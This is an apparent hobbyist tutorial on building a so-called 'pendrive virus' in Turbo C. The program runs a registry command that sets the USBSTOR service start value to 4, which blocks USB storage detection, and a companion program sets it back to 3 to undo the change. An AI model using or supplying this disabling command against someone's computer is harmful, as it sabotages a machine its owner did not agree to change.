pendrive Virus

Virus is a program which infects computer, in different way. I am explaining about a Virus Which can easily be made in C or C++, ,When we have run .exe file of this Pendrive-usb virus then when we connect pendrive with our computer usb,it will not be connected. Operating System would not be able to detect pendrive.

Code is written to directly change the usb registry option and change its key. Not going to explain about registry in detail now, later will explain.

1. Creating usb-pendrive Virus :-
* Install Turbo C or C++
* Open TC.exe and there write the coding
#include
void main()
{

system("reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet
\\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 4 \/f");
}

* Above Line system("....................."); it is in one Line

* Save The Above Program as usbblock.c or any other name.
* Compile and Run the above Program
* Congratulation! you are succesfull to create the usb-pendrive Virus
* Now go to drive where C is installed (Open TC folder) and then BIN ,have that usb-pendrive virus usbblock.exe to be used..........
* Run that usbblock.exe in your computer to test.
* Attach Pendrive to your computer usb ....OH! Shit Pendrive doesn't get detected...virus
* Dont infect any other computer as it is only for educational purpose.


2. To reverse the effect of USB-Pendrive Virus (Removal of that Virus) :-
* Install Turbo C or C++
* Open TC.exe and there write the coding
#include
void main()
{

system("reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\
Services\\USBSTOR \/v Start \/t REG_DWORD \/d 3 \/f");
}

* Above Line system("....................."); it is in one Line

* Save The Above Program as unblockusb.c or any other name.
* Compile and Run the above Program
* Congratulation! you are succesfull to create .exe file to unblock USB
* Now go to drive where C is installed (Open TC folder) and then BIN ,have that unblockusb.exe to be used..........
* Run that unblockusb.exe to reverse the effect of usbblock.exe.